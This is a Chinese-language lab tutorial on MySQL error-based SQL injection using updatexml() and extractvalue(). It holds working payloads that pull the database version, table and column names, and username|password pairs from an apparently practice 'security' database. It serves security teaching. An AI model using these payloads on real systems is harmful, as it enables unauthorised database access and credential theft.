- 常见类型注入-基础实验
- 实验原理
- SQL查询函数
- MYSQL数据库结构
- 实验内容
- 免责声明
-
updatexml()函数
-
updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
-
作用:改变文档中符合条件的节点的值
-
语法: updatexml(XML_document,XPath_string,new_value)
第一个参数:是string格式,为XML文档对象的名称,文中为Doc
第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】
第三个参数:string格式,替换查找到的符合条件的数据
-
updatexml使用时,
当xpath_string格式出现错误
,mysql则会爆出xpath语法错误(xpath syntax) -
例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,
不属于xpath语法格式,因此报出xpath语法错误
-
-
extractvalue()函数
-
此函数从目标XML中返回包含所查询值的字符串
-
语法:extractvalue(XML_document,xpath_string)
第一个参数:string格式,为XML文档对象的名称
第二个参数:xpath_string(xpath格式的字符串)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
-
extractvalue使用时当
xpath_string格式出现错误
,mysql则会爆出xpath语法错误(xpath syntax) -
select user,password from users where user_id=1 and (extractvalue(1,0x7e));
-
由于0x7e就是~不属于xpath语法格式,因此报出xpath语法错误。
-
函数 含义
= > >= 报错注入字符型
输入id参数进行测试
id=1 页面回显正常
id=1' 页面报错信息回显,说明触发了报错函数

2.获取当前数据库的库名及版本信息
id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+ 获取数据库版本
id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+获取数据库名称

3.获取当前数据库的表名
id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)--+
获得表明:
emails
referers
uagents
users


4.查询表中的列名
id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)--+
emails表中列名称:id、email_id


?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='uagents' limit 0,1),0x7e),1)--+
uagents表中列名称:username、uagent

4、通过对表名和limit两个变量
?id=1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='uagents' limit 0,1),0x7e),1)--+
tables_schema=emails、referers、uagents、users


5.获取内容
id=1' and updatexml(1,concat(0x7e,(select concat(username,'|',password) from users limit 1,1),0x7e),1)--+
获取users表中的信息


免责声明
本文档供学习,请使用者注意使用环境并遵守国家相关法律法规! 由于使用不当造成的后果上传者概不负责!